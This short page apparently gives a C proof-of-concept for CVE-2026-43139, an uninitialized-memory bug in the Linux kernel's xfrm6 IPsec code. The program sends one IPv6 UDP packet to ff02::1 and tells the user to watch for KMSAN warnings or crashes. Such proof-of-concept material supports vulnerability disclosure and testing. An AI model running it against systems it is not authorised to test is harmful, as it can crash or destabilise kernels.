CVE-2026-43139 Linux内核xfrm6未初始化内存漏洞

/* * PoC for CVE-2026-43139 * This code attempts to trigger the uninitialized variable usage * by sending UDP traffic over IPv6 that requires IPsec lookup. * Compile: gcc -o poc_cve2026_43139 poc_cve2026_43139.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sockfd; struct sockaddr_in6 addr; const char *message = "Triggering xfrm6 path"; // Create a IPv6 UDP socket sockfd = socket(AF_INET6, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); exit(EXIT_FAILURE); } memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(80); // Use a link-local or specific address that might trigger saddr selection issues // depending on the system's routing and IPsec policy configuration. if (inet_pton(AF_INET6, "ff02::1", &addr.sin6_addr) <= 0) { perror("inet_pton failed"); close(sockfd); exit(EXIT_FAILURE); } // Sending data triggers the xfrm_lookup_route -> xfrm_lookup_with_ifid // -> xfrm_resolve_and_create_bundle -> xfrm_tmpl_resolve_one -> xfrm6_get_saddr path. if (sendto(sockfd, message, strlen(message), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("sendto failed"); } else { printf("Packet sent. Check kernel logs for KMSAN warnings or crashes.\n"); } close(sockfd); return 0; }